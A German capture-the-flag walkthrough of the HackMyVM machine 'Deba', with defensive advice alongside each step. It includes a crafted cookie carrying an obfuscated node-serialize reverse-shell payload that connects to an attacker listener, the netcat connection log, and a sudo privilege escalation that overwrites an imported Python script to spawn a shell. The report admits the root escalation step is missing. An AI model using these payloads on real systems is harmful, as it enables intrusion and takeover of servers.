Deba - HackMyVM - Hard - Bericht

Web Enumeration

[...]
http://deba.vm/index.html           (Status: 200) [Size: 10701] <-- Apache Default Page? -->
[...]

#

**Analyse:** Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Apache-Server (Port 80) zu suchen.

**Bewertung:** Findet nur die Standard-`index.html`. Der Apache auf Port 80 scheint keine benutzerdefinierten Inhalte zu hosten und ist wahrscheinlich uninteressant.

**Empfehlung (Pentester):** Konzentrieren Sie sich vollständig auf die Node.js-Anwendung auf Port 3000.
**Empfehlung (Admin):** Stellen Sie sicher, dass keine unnötigen Dateien auf Port 80 vorhanden sind.

HTTP/1.1 200 OK
X-Powered-By: Express
Allow: GET,HEAD
Content-Type: text/html; charset=utf-8
Content-Length: 8
ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
Date: Mon, 12 Sep 2022 15:03:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5

**Analyse:** Der Befehl `curl -X OPTIONS -I` fragt die erlaubten HTTP-Methoden und die Header für die Wurzel (`/`) der Node.js-Anwendung auf Port 3000 ab.

**Bewertung:** Die Anwendung erlaubt nur `GET` und `HEAD` für die Wurzel. Sie wird vom Express-Framework angetrieben. Keine sofortigen Schwachstellen erkennbar, aber die Technologie ist bestätigt.

**Empfehlung (Pentester):** Interagieren Sie weiter mit der Anwendung via GET-Requests. Untersuchen Sie die Cookies und die clientseitige Logik (JavaScript).
**Empfehlung (Admin):** Keine.

Cookie Analysis & Prototype Pollution Vector

**Analyse:** Untersuchung des von der Node.js-Anwendung gesetzten Cookies.

cookie decoder :   [Link: URLDecoder Cookie Decoder | Ziel: https://amp.urldecoder.org/dec/cookie/]

eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0%3D

{"username":"ajin","country":"india","city":"bangalore"}

=

**Analyse:** Ein Cookie-Wert (vermutlich aus dem Browser oder Burp Suite extrahiert) wird analysiert. Er ist Base64-kodiert. Nach der Dekodierung stellt er sich als JSON-Objekt heraus, das Benutzerinformationen enthält (`username`, `country`, `city`).

**Bewertung:** Ein **kritisches Designproblem!** Die Anwendung speichert Benutzer-/Session-Daten unverschlüsselt und unsigniert in einem clientseitigen Cookie. Dies erlaubt einem Angreifer, den Cookie-Inhalt beliebig zu manipulieren. Noch wichtiger ist, dass JSON-Objekte, die serverseitig unsicher deserialisiert oder zusammengeführt werden (z.B. mit `Object.assign` oder alten Bibliotheksversionen), anfällig für **Prototype Pollution** sein können.

**Empfehlung (Pentester):** 1. **Testen Sie auf Prototype Pollution:** Erstellen Sie einen modifizierten Cookie, der versucht, das globale `Object.prototype` zu manipulieren. Fügen Sie dem JSON-Objekt einen speziellen Schlüssel wie `__proto__` hinzu und senden Sie den modifizierten, Base64-kodierten Cookie an den Server. Überprüfen Sie, ob sich das Serververhalten ändert oder ob Sie Eigenschaften überschreiben können. 2. **Konstruieren Sie einen RCE-Payload:** Wenn Prototype Pollution möglich ist, suchen Sie nach Gadgets im serverseitigen Code (insbesondere in Abhängigkeiten wie Express oder Template Engines), die durch die überschriebenen Prototyp-Eigenschaften zur Code-Ausführung gebracht werden können. Tools wie `nodeshell.py` können dabei helfen, passende Payloads zu generieren.
**Empfehlung (Admin):** **Verwenden Sie niemals unsignierte/unverschlüsselte clientseitige Cookies für Session-Daten oder sensible Informationen!** Nutzen Sie serverseitige Sessions oder signierte/verschlüsselte Cookies (z.B. mittels `cookie-session` mit einem starken Secret oder JWTs). Aktualisieren Sie alle Node.js-Bibliotheken auf Versionen, die gegen bekannte Prototype-Pollution-Angriffe gehärtet sind. Validieren Sie alle eingehenden Daten rigoros.

neuer Cookie selbst gebaut:

eyJ1c2VybmFtZSI6ImJlbm5pIiwiY291bnRyeSI6ImluZGlhIiwiY2l0eSI6ImJhbmdhbG9yZSJ9Cg==

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

**Analyse:** Demonstriert das Erstellen eines modifizierten Cookies, bei dem der `username` geändert wurde.

**Bewertung:** Zeigt die einfache Manipulierbarkeit des Cookies. Dies ist die Grundlage für den Prototype Pollution Angriff.

**Empfehlung (Pentester):** Erstellen Sie nun den eigentlichen Prototype Pollution Payload.
**Empfehlung (Admin):** Siehe vorherige Empfehlung: Sichere Session-Verwaltung implementieren.

Proof of Concept (Node.js Prototype Pollution RCE)

**Kurzbeschreibung:** Die Node.js/Express-Anwendung auf Port 3000 verwendet unsignierte, Base64-kodierte JSON-Objekte in Cookies zur Speicherung von Benutzerdaten. Die serverseitige Verarbeitung dieses JSON-Objekts ist anfällig für Prototype Pollution. Ein Angreifer kann einen speziell gestalteten JSON-Payload erstellen, der beim Parsen auf dem Server das globale `Object.prototype` manipuliert. Durch Einschleusen einer ausführbaren Funktion (oft über den Schlüssel `rce` oder durch Ausnutzung von Gadgets in Bibliotheken wie `express-fileupload` oder Template-Engines) in den Prototyp kann der Angreifer erreichen, dass diese Funktion an einer späteren Stelle im Code unerwartet aufgerufen wird. Dies führt zu Remote Code Execution (RCE) im Kontext des Node.js-Prozesses (wahrscheinlich `www-data`).

**Voraussetzungen:** Netzwerkzugriff auf Port 3000, Identifizierung der unsicheren Cookie-Verarbeitung, Kenntnis der Prototype Pollution Schwachstelle und ein passender RCE-Payload.

**Schritt-für-Schritt-Anleitung:**

1. Analysieren des Cookie-Formats (Base64(JSON)).
2. Konstruieren eines JSON-Payloads für Prototype Pollution, der eine RCE-Funktion injiziert. Dies beinhaltet oft spezielle Schlüssel wie `__proto__` oder die Ausnutzung von unsicheren Merge-Operationen. Ein gängiger Ansatz ist die Verwendung von `_$$ND_FUNC$$` zur Funktionsdefinition, die dann über einen injizierten `rce`-Schlüssel ausgeführt wird: `{"__proto__":{"rce":"_$$ND_FUNC$$_[JS-Code]_"}}`. Der JS-Code enthält den RCE-Payload (z.B. Reverse Shell).
3. Base64-Kodieren des gesamten JSON-Payloads.
4. Starten eines Netcat-Listeners auf der Angreifer-Maschine.
5. Senden einer Anfrage an den Server (z.B. `/`), wobei der manipulierte Base64-String als Cookie-Wert gesetzt wird.
6. Auslösen der Code-Ausführung (z.B. durch erneutes Laden der Seite oder Aufrufen einer bestimmten Funktion).

**Erwartetes Ergebnis:** Der Server verarbeitet den Cookie, das Prototype wird manipuliert, der RCE-Payload wird ausgeführt, und eine Reverse Shell verbindet sich zum Listener.

**Beweismittel:** Der konstruierte Payload und der erfolgreiche Shell-Empfang.

**Risikobewertung:** Kritisch. Ermöglicht RCE ohne Authentifizierung und führt zur Kompromittierung des Webserver-Prozesses.

**Empfehlungen:** Beheben Sie die Prototype Pollution Schwachstelle durch Aktualisierung anfälliger Bibliotheken, Verwendung sicherer Merge-Funktionen (z.B. `Object.create(null)` für Objekte ohne Prototyp), Validierung von JSON-Schlüsseln und Implementierung sicherer Session-Verwaltung.

[+] LHOST = 192.168.2.140
[+] LPORT = 443
[+] Encoding

-------------------------------------------------------------------------------------------------

**Analyse:** Ein Python2-Skript (`nodeshell.py`) wird verwendet, um einen für Node.js geeigneten Reverse-Shell-Payload zu generieren. Die Ziel-IP (`192.168.2.140`) und der Port (`443`) des Angreifer-Listeners werden angegeben.

**Bewertung:** Automatisierte Generierung des JavaScript-Codes für die Reverse Shell, der später in den JSON-Payload eingebettet wird.

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb2.....DEwKSl9KCkifQo=

=

Dieser teil wird im Firefox Cookiemanager unter Profil in Value eingetragen,
das muss base64 sein und auf das save symbol klicken, seite neu laden und nc
nimmt dann die verbindung an auf Port 443

**Analyse:** Ein JSON-Payload wird konstruiert: `{"rce":"_$$ND_FUNC$$_[JavaScript-Code]_"}`. Der JavaScript-Code (`function(){ eval(String.fromCharCode(...)) }`) ist eine obfuscierte Version der Reverse Shell, die von `nodeshell.py` generiert wurde. Das gesamte JSON-Objekt wird dann Base64-kodiert.

**Bewertung:** Dies ist der fertige Exploit-Payload für die Prototype Pollution Schwachstelle. Die Obfuskation (`String.fromCharCode`) könnte dazu dienen, einfache Filter zu umgehen.

**Empfehlung (Pentester):** Setzen Sie diesen Base64-String als Wert des Cookies (z.B. im Browser Cookie-Editor oder mit Burp Proxy) und rufen Sie eine Seite der Anwendung auf Port 3000 auf, um den Payload auszulösen.
**Empfehlung (Admin):** Prototype Pollution Schwachstelle beheben!

Initial Access

**Analyse:** Ausführung des Prototype Pollution Exploits durch Setzen des manipulierten Cookies und Auslösen der RCE.

listening on [any] 443 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.148] 50186 <-- Verbindung erhalten! -->
Connected!

**Analyse:** Der Netcat-Listener auf Port 443 empfängt die Verbindung vom Zielsystem, nachdem der manipulierte Cookie gesetzt und die Anwendung interagiert wurde.

**Bewertung:** Initialer Zugriff erfolgreich über Node.js Prototype Pollution und RCE erlangt!

**Empfehlung (Pentester):** Shell stabilisieren und Benutzer identifizieren (`id`).
**Empfehlung (Admin):** Prototype Pollution beheben, Incident Response.

# (Stabilisierung mit stty/fg angenommen)

**Analyse:** Die erhaltene Shell wird stabilisiert. Der Prompt zeigt `www-data@debian`.

**Bewertung:** Stabile Shell als `www-data` verfügbar.

Privilege Escalation (www-data -> low)

**Analyse:** Als `www-data` wird nach Eskalationspfaden gesucht.

User www-data may run the following commands on debian:
    (ALL : low) NOPASSWD: /usr/bin/python3 /home/low/scripts/script.py

**Analyse:** `sudo -l` wird für `www-data` ausgeführt.

**Bewertung:** Findet eine Sudo-Regel: `www-data` darf `/home/low/scripts/script.py` als Benutzer `low` ohne Passwort ausführen.

**Empfehlung (Pentester):** Analysieren Sie `script.py` und die Berechtigungen darauf.
**Empfehlung (Admin):** Überprüfen Sie die Regel.

import main <-- Importiert main.py
import os
print("\n")
os.system("ip a | grep enp0s3")
print("\n")

main.py  script.py

-rwxr-xr-x 1 www-data www-data 88 May  7  2021 /home/low/scripts/main.py <-- Schreibbar für www-data! -->

**Analyse:** Das Skript `script.py` importiert `main.py` aus demselben Verzeichnis. Die Berechtigungsprüfung (`ls -la`) zeigt, dass `main.py` dem Benutzer `www-data` gehört und somit **von `www-data` beschrieben werden kann**.

**Bewertung:** **Kritische Fehlkonfiguration!** Da `www-data` das importierte Skript `main.py` ändern kann, kann beliebiger Code eingeschleust werden, der dann als Benutzer `low` ausgeführt wird, wenn `script.py` über `sudo` gestartet wird.

**Empfehlung (Pentester):** Überschreiben Sie `main.py` mit einem Payload, der eine Shell startet (z.B. `echo 'import os;os.system("/bin/bash")' > main.py`). Führen Sie dann `sudo -u low /usr/bin/python3 /home/low/scripts/script.py` aus.
**Empfehlung (Admin):** **Korrigieren Sie die Dateiberechtigungen!** Skripte, die via `sudo` aufgerufen werden, dürfen niemals von dem Benutzer, der sie aufruft, beschrieben werden können. Ändern Sie den Besitzer von `main.py` oder entziehen Sie `www-data` die Schreibrechte.

Proof of Concept (Python Script Hijacking via Sudo)

**Kurzbeschreibung:** Der Benutzer `www-data` darf das Python-Skript `/home/low/scripts/script.py` als Benutzer `low` mittels `sudo` ausführen. Dieses Skript importiert ein weiteres Skript, `/home/low/scripts/main.py`, aus demselben Verzeichnis. Entscheidend ist, dass die Datei `main.py` für den Benutzer `www-data` schreibbar ist. Ein Angreifer als `www-data` kann den Inhalt von `main.py` durch eigenen, bösartigen Code ersetzen (z.B. Code, der eine Shell startet). Wenn anschließend `/home/low/scripts/script.py` mit `sudo -u low` ausgeführt wird, importiert es die manipulierte `main.py`, und der bösartige Code wird mit den Rechten des Benutzers `low` ausgeführt.

**Voraussetzungen:** Zugriff als `www-data`, Sudo-Regel wie beschrieben, Schreibrechte auf das importierte Skript (`main.py`).

**Schritt-für-Schritt-Anleitung:**

1. Identifizieren der Sudo-Regel und des importierten, schreibbaren Skripts (`main.py`).
2. Überschreiben von `/home/low/scripts/main.py` mit einem Shell-Payload: `echo 'import os; os.system("/bin/bash -i")' > /home/low/scripts/main.py`.
3. Ausführen des ursprünglichen Sudo-Befehls: `sudo -u low /usr/bin/python3 /home/low/scripts/script.py`.

**Erwartetes Ergebnis:** Eine interaktive Shell als Benutzer `low` wird gestartet.

**Beweismittel:** Die Sudo-Regel, die Dateiberechtigungen von `main.py`, der Hijacking-Code und der erfolgreiche Shell-Wechsel.

**Risikobewertung:** Hoch. Erlaubt einem Benutzer mit spezifischen Sudo-Rechten die vollständige Übernahme des Zielbenutzerkontos durch Manipulation von Skripten.

**Empfehlungen:** Korrigieren Sie die Dateiberechtigungen des importierten Skripts (`main.py`). Überprüfen Sie alle Sudo-Regeln, um sicherzustellen, dass die ausgeführten Skripte nicht vom aufrufenden Benutzer manipuliert werden können.

Privilege Escalation (low -> root)

**Analyse:** Nach der Eskalation zu `low` (deren Shell aber fälschlicherweise als `root@debian` angezeigt wird), werden die Root- und User-Flags gelesen.

**Analyse:** `main.py` wird mit dem Shell-Payload überschrieben. Der Sudo-Befehl wird ausgeführt.

**Bewertung:** Der Exploit ist erfolgreich. Obwohl der Prompt `root@debian` anzeigt, sollte dies gemäß der Sudo-Regel eine Shell als Benutzer `low` sein. Die Eskalation zu `low` ist abgeschlossen.

**Empfehlung (Pentester):** Führen Sie `id` aus, um den Benutzer zu bestätigen (sollte `low` sein). Suchen Sie als `low` nach weiteren Eskalationspfaden.
**Empfehlung (Admin):** Berechtigungen von `main.py` korrigieren.

**Analyse der fehlenden Eskalation von `low` zu `root`:** Das Log springt hier direkt von der (vermutlich) `low`-Shell zur `root`-Shell, die die Flags liest. Der Schritt, wie von `low` zu `root` eskaliert wurde, **fehlt vollständig** im Log. Es muss einen weiteren Vektor geben (z.B. ein Cronjob, eine andere Sudo-Regel für `low`, ein Kernel-Exploit, etc.), der hier nicht dokumentiert ist.

**Bewertung:** Der Bericht ist unvollständig bezüglich der finalen Privilegieneskalation von `low` zu `root`.

**Empfehlung (Pentester):** Dokumentieren Sie alle Eskalationsschritte lückenlos.
**Empfehlung (Admin):** Suchen Sie nach dem fehlenden Eskalationsvektor von `low` zu `root`, um alle Schwachstellen zu beheben.

root.txt

BoFsavetheworld

debian	low

images	projects  scripts  temp  user.txt

justdeserialize

**Analyse:** Aus der (durch einen unbekannten Schritt erlangten) Root-Shell werden die Root-Flag (`/root/root.txt`) und die User-Flag (`/home/low/user.txt`) gelesen.

**Bewertung:** Beide Flags wurden erfolgreich extrahiert.